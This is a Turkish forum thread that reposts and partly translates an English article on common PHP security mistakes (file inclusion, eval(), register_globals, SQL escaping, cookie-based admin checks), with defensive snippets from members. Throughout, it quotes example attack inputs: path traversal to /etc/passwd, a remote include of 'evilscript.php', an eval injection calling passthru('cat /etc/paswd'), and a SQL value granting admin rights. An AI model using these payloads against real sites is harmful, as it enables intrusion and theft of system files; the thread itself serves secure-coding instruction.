Duyuruyu Kapat
Facebook Gözat
Twitter Gözat

PHP için bir kaç güvenlik önerisi

Konu, 'PHP' kısmında mkarabulut tarafından paylaşıldı.

  1. mkarabulut

    mkarabulut Misafir

    Selamlar...

    Devshed'deki forumda güzel bir topic açılmış - topic ama makale gibi topic yani - PHP ile kodlama sırasında yapılan genel güvenlik açıklarından bahsetmiş ve nasıl önleneceği konusunda öneriler getirmiş, güzel bir konu bakmakta fayda var

    NOT: Maalesef ingilizcesi olanlara hitap ediyor

    http://forums.devshed.com/showthread.php?s=&threadid=20525

    Saygılar,sevgiler...
     
  2. ee++

    ee++ Daimi Üye

    Kayıt:
    25 Temmuz 2002
    Mesajlar:
    1,122
    Beğenilen Mesajlar:
    0
    Şehir:
    Ankara
    Selam,

    DevShed'den bir iki kaynak vereyim dedim. Ilginc geldi de.

    MySQL ve ODBC kardeşliği (hatta bi de Access!) oldukça ilginç. MySQL'e ODBC aracılığı ile bağlanıyor ve Access ile yönetiyorsunuz. (Ayrıntılı incelemedim, sadece göz attım.)

    Database Normalization konusu ise bu konuda ilk defa gordugum bir formal yontem yazisi. Veri tabanı tasarımını pek onemsemeyen (daha dogrusu bilmedigi icin onemseyemeyen) bir cok sql, veri tabanı, php, asp.. kitabı bu konuda taş devrinde. Veri tabanı ile uğraşan arkadaşların okumasında fayda var. Ama sadece konu güzel, içeriğine bakmadım.

    Bu arada mkarabulut'un verdigi yazı da hoş.

    Kolay gelsin.
     
  3. Sahin

    Sahin Daimi Üye

    Kayıt:
    28 Mayıs 2002
    Mesajlar:
    8,943
    Beğenilen Mesajlar:
    0
    Devshed deki yazıyı buraya alalım dedim nasılsa yukarda linkini verip kaynağı gösterdik, belki birgün türkçeleştirirzde...

    -------------------------------------------------



    I've been studying some common PHP security problems (none of which are actually with PHP, but with programs written in PHP), and I figured I would list a few things all programs should keep in mind. Many of you pros (and maybe even some newbies) may already have an idea of some of these but there are a lot of "I never thought of it that way" type of things that you may not have caught (I didn't know all of them). Seeing these in good quality open source programs like phpMyAdmin, phpBB, and phpSecurePages made me realize that huge security holes can be anywhere if you don't know Exactly what to look for.


    1. NEVER include, require, or otherwise open a file with a filename based on user input without Thoroughly checking it first. If possible, just don't use the user input directly to include the file.

    For instance, do not do this:



    PHP:
    if(isset($page))
    {
      include(
    $page);
    }

    Since there is no validation whatsoever on page, anyone could easilyt call your script like this:

    script.php?page=/etc/passwd

    When a non PHP file is include()'d or require()'d, it's displayed as HTML/Text! It won't be parsed. Even worse, include and require allow for including Remote files! Just imagine this:

    script.php?page=http://mysite.com/evilscript.php

    evilscript.php could be anything the hacker wanted, all it would have to do is echo out some PHP code for your script to receive, and it would be run right out of your script! Just imagine already being connected to the database and having evilscript.php have code to delete each table or even drop the database...


    A simple solution? Check the input! Perhaps you could have a valid list of pages to include, and if their value for page didn't match any of them, it wouldn't include it.


    PHP:
    $pages = array("index.html""page2.html""page3.html");

    if(
    in_array($page$pages))
        include(
    $page);
    else
       die(
    "Nice Try.");

    2. Be careful with eval() Placing user-inputted values (especially non-validated ones) into eval() functions can be extremely dangerous. You essentially give your user the ability to execute any command he wishes! Just imagine that you _think_ your input is coming from a nice drop-down select input, limiting their input to what you think is safe. But again, suppose your user called your script like this:

    script.php?input=;passthru("cat /etc/paswd");

    By putting his own code in that statement he would cause your program to output your complete /etc/passwd file! It's that simple.

    Use eval() sparingly. I have seen a lot of code where it appears to be used for no reason whatsoever (to evaluate code that could be evaluated right there in the script, but for no real reason is run through eval() using user input). If you do need to use eval, CHECK THE INPUT VERY WELL.

    3. Try not to use input variables as globals. Why not? Here's a good example. Say you've got a form in which you have a select input menu. By making it a select rather than a text box, you think you're preventing them from entering anything you wouldn't want. You then reference the global variable in your PHP program, we'll call it $selectvar. Here's the problem. GET variables (that came in from the URL) and COOKIES also register global variables (in many PHP configurations). What's to stop your user from just setting a cookie called "selectvar" to anything they want? Or even adding it to the URL

    script.php?selectvar=whateveriwant

    It would still show up in your program as $selectvar

    What's a simple solution? Use the proper associative array. If you're looking for something that came in from a form (POST), get it from here:

    $HTTP_POST_VARS['selectvar']

    If you're looking for something that came in from a URL, use this:
    $HTTP_GET_VARS['selectvar']

    And if you're looking for a cookie variable, use this:

    $HTTP_COOKIE_VARS['selectvar']

    4. NEVER run unslashed queries!. What does this mean? Well, PHP has a feature, enabled by default, that automatically escapes (adds a backslash in front of) certain characters that come in from a get, post, or cookie. Single quote is one example of a character that is escaped automatically. This is so that if you include input variables in your queries, it won't treat single quotes as part of the query. Say your user entered $name from a form and you performed this query:

    UPDATE users SET Name='$name' WHERE ID=1;

    Normally, if they had entered $name with single quotes in them, they would be escaped, so MySQL would see this:

    UPDATE users SET Name='Joe's' WHERE ID=1

    So that the single quote entered into "Joe's" would not be treated as a single quote in the query.

    Well in some cases, you may use stripslashes() on an input variable. If you put it back into the query, make sure to use addslashes() to put them back! Imagine if an unslashed query went in, and your user had entered part of a query as their name!

    UPDATE users SET Name='Joe',Admin='1 WHERE ID=1

    On the input form, the user would have entered:
    Joe',Admin='1

    As their name, and since the single quotes were not escaped, he was able to actually end the name definition, place a comma in there, and set another variable called Admin!

    The final query with input in blue looked like this:

    UPDATE users SET Name='Joe',Admin='1' WHERE ID=1


    In some configurations, magic_quotes_gpc (the feature that automatically adds slashes to all input) can actually be disabled! You can use the function get_magic_quotes_gpc() to see if it's on or not (it returns true or false). If it returns false, simply use addslashes() to add slashes to all of the input (it is easiest if you use $HTTP_POST_VARS, $HTTP_GET_VARS, and $HTTP_COOKIE_VARS, instead of globals because you could step through those arrays using a foreach() loop and add slashes to each one).

    Note: I learned about this possible security hazard from phpBB. In some versions of phpBB, you actually can set yourself as the administrator of the forum through a similar method as shown above!

    5. For protected areas, VALIDATE THE LOGIN EVERY TIME, OR USE SESSIONS!. What am I talking about here? Well, there are some cases where programmers will only use some sort of login.php script to first validate their username and password (entered through a form), test if they're an admin, and actually set an admin variable through a cookie! Or even hide it as a hidden variable. Then in the code, they check to see if they have access like this:


    PHP:
    if($admin)
    {
       
    // let them in
    }
    else
    {
       
    // kick them out
    }


    Now you may expect $admin to come from a cookie or a hidden variable on a form that you don't think they have control over, but what is to stop them from just putting this in the url?

    script.php?admin=1

    That's certainly easy to do! And even if you have register_globals turned off and check the cookie through $HTTP_COOKIE_VARS the user can still edit their browsers cookie file so that any cookie they want is sent, and your script wouldn't know the difference.

    What's the solution? There are two. One is on the same track as setting an $admin=1 variable, but this time set $admin=1 as a session variable. That way it is stored on the server and is much less likely to be forged. When the session id comes in through the URL, you will be able to check if there is an $admin=1 variable set for that session. If so, it is safe to consider them validated as in most cases they will not be able to change that variable, again because it is stored on the server.

    Your second options is to only store their username and password in a cookie, and in every single script, make sure the username and password are right and then query the database to see if that's an administrator. You could have 2 functions - one called validate_login($username,$password) that checkd if it were a valid login, then is_admin($username) that, once you knew their login was correct, queried the database to see if that username is really an admin. You could put this at the top of each protected program:


    PHP:
    if(!validate_login($HTTP_COOKIE_VARS['username'], $HTTP_COOKIE_VARS['password']))
    {
      echo 
    "Sorry, invalid login";
      exit;
    }

    // the login is ok if we made it down here
     
    if(!is_admin($HTTP_COOKIE_VARS['username']))
    {
       echo 
    "Sorry, you do not have access to this section";
       exit;
    }

    Please also keep in mind that just because seomthing requires a database query does not necessarily make it slow. Remember that even if you use sessions, there is nothing particularly magical about them and they (just like database tables) are stored on the hard drive and must be loaded up (and unserialized, which is a slow process) on every run. In some cases, loading up serialized data from the hard drive can actually be SLOWER than querying the database. Yes, MySQL is that fast
     
  4. mkarabulut

    mkarabulut Misafir

    1. Hiç bir zaman kullanıcıdan alınan sayfa isimlerini kontrol etmeden include,require ile eklemeyin Eğer mümkünse include edeceğiniz sayfa bilgileri ziyaretçi girişlerine dayalı olmasın

    Mesela şunu yapmayın:


    PHP:
    if(isset($page))
    {
      include(
    $page);
    }

    page değişkeninin ne içerdiği kontrolü yapılmadığı için birileri scripti şöyle çağırabilir :

    script.php?page=/etc/passwd

    PHP scripti olmayan bir sayfa include() edildiğinde doğrudan text/html olarak görüntülenecektir.
    Dosya parse edilmeyecektir. Daha da kötüsü PHP remote(uzaktaki web sayfaları) dosyalarıda desteklemektedir! Şöyle bi şey hayal edin :

    script.php?page=http://mysite.com/evilscript.php

    evilscript.php bir hacker'ın istediği herhangi bi şey olabilir,bu scriptin tek yapması gereken scripti include eden php scriptiniz içine biraz PHP kodu eklemektir, ve bu PHP kodu olduğu gibi çalışacaktır! Örneğin evilscript.php nin veritabanına bağlanıp tüm tablo ve kayıtları sildiğini ve hatta veritabanını sildiğini hayal edebilirsiniz.

    Basit bir çözüm,kullanıcı girişlerini kontrol etmektir! Muhtemelen include edilecek sayfaların bir listesi vardır, ve eğer değişken ile gelen değer bu listede yoksa bu sayfayı include etmeyeceğiz.

    PHP:
    $pages = array("index.html""page2.html""page3.html");

    if(
    in_array($page$pages))
        include(
    $page);
    else
       die(
    "İyi deneme,öğrende gel!");

    (Şimdilik bu kadar,elimden geldiğince çeviririm)
     
  5. greenpage

    greenpage Üye

    Kayıt:
    21 Temmuz 2002
    Mesajlar:
    141
    Beğenilen Mesajlar:
    0
    Meslek:
    ögrenci
    Şehir:
    istanbul
    Gerçekten çok faydalı olmuş arkadaşlar herkes bulduğu böyle güzel yazıları paylaşsa çok güzel bir arşiv oluşturabiliriz. Elinize sağlık...
     
  6. axanc

    axanc Yeni Üye

    Kayıt:
    15 Mart 2006
    Mesajlar:
    24
    Beğenilen Mesajlar:
    0
    include edilmeden önce dosya kontrol edilmez ise "Remote File Inclusion Vulnerability" oluşuyor.. bununla ilgili örnek bir video hazırladık.. kendi bilgisayarımız üzerindeki bir web sayfasındaki bu açık'a saldırı düzenledik..
    http://www.e-hack.org/forum/index.php?showtopic=7554
     
  7. jure

    jure Daimi Üye

    Kayıt:
    11 Mart 2003
    Mesajlar:
    633
    Beğenilen Mesajlar:
    0
    Şehir:
    Istanbul
    PHP:
    // =================================================================
    // sayfa varmi ?
    // =================================================================
    if (!isset($_REQUEST['sayfa'])) $_REQUEST['sayfa'] = "index";

    $yukle str_replace(array(":""/""..""."";""\\""http""ftp"), ""$_REQUEST['sayfa']);

    // =================================================================
    // sayfa dogrumu ?
    // =================================================================
    if (!@include("sistem/$yukle.php"))
    {

    // hata mesajı
    }
    ben diziden kontrol etmek yerine yukarıdaki gibi kullanıyorum.
     
  8. xam

    xam Daimi Üye

    Kayıt:
    28 Mart 2006
    Mesajlar:
    1,080
    Beğenilen Mesajlar:
    0
    bende bildigim ve kullandigim bi kac sey soyleyeyim..
    ana scripti herzaman define ile isimlendirin, include ettiginiz sayfalara bunu kontrol ettirin, mesela

    PHP:
    if(!defined('IN_ANASCRIPT'))
    {
      die(
    "neye ulasmak istedin ?");
    }
    her zaman bi core.php dosyasi yapin ve ilk bunu include edin, bu core icerisinde diger include'leri edin, mesela index.php>core.php>mysql.php>functions.php>globalfuntions.php>etc..
    core.php icersiinde gerekli guvenlik kontrollerini yapin..

    scriptinizi herzaman bolerek hazirlayin ve index.php icerisinde bunu switch ile cagirin, mesela kod.php kod2.php kod3.php bunlari ana sayfadan switch ile cagirsaniz daha hizli olur, hepsini bi sayfada IF ile check ettirmek daha uzun surer..

    mysql islemleri oncesi degerin sayi olup olmadigini degilse mysql_real_escape_string ile kontrol ettirin..

    admin klasorunuzu her zaman .htaccess ile koruyun..

    login scriptlerinize, herzaman guvenlik kodu ekleyin..

    sonu .inc ile biten dosyalar kullaniyorsaniz, ya bunu .php gibi tanitin, yada .htaccess ile deny from all yapin su sekilde:
    PHP:
    <Files "\.inc$">
       
    Order allow,deny
       Deny from all
       Satisfy All
    </Files>
    bu kod sonu .inc ile biten dosyalara direk erisimi keser, yada:
    PHP:
    AddType application/x-httpd-php .inc
    buda .inc dosyalarini php olarak okur..

    simdilik aklima bunlar geldi....
     
  9. Timothy

    Timothy Üye

    Kayıt:
    22 Temmuz 2006
    Mesajlar:
    203
    Beğenilen Mesajlar:
    0
    Meslek:
    Web Tasarım
    Şehir:
    Kocaeli
    2. eval() ile dikkatli olun
    Kullanıcının giriş yaptığı değerlerde eval() fonksiyonunu kullanmak tehlikeli olabilir.Kullanıcıya dilediği komutu çalıştırma becerisini verirsiniz.Düşünsenize giriş hoş bir drop-down seçimi, o girdiyi istediğiniz şekilde bir güvenlikle sınırlayabilirsiniz.Ama yinede farzedelimki kullanıcı scriptinizi şu şekilde çalıştırdı:

    script.php?input=;passthru("cat /etc/paswd");

    O kendi kodunu eklediginde, senin programın /etc/passwd dosyasinin tamamını gösterecektir! Bu gayet basit.

    eval() fonksiyonunu dikkatli kullanın. Bir cok kod gördüm vs.vs.... :) Ceviremedim tam :D(code where it appears to be used for no reason whatsoever (to evaluate code that could be evaluated right there in the script, but for no real reason is run through eval() using user input)). Eval() kullanacaksaniz, GİRDİLERİ ÇOK İYİ KONTROL EDİN..

    Yanlışım varsa düzeltin :)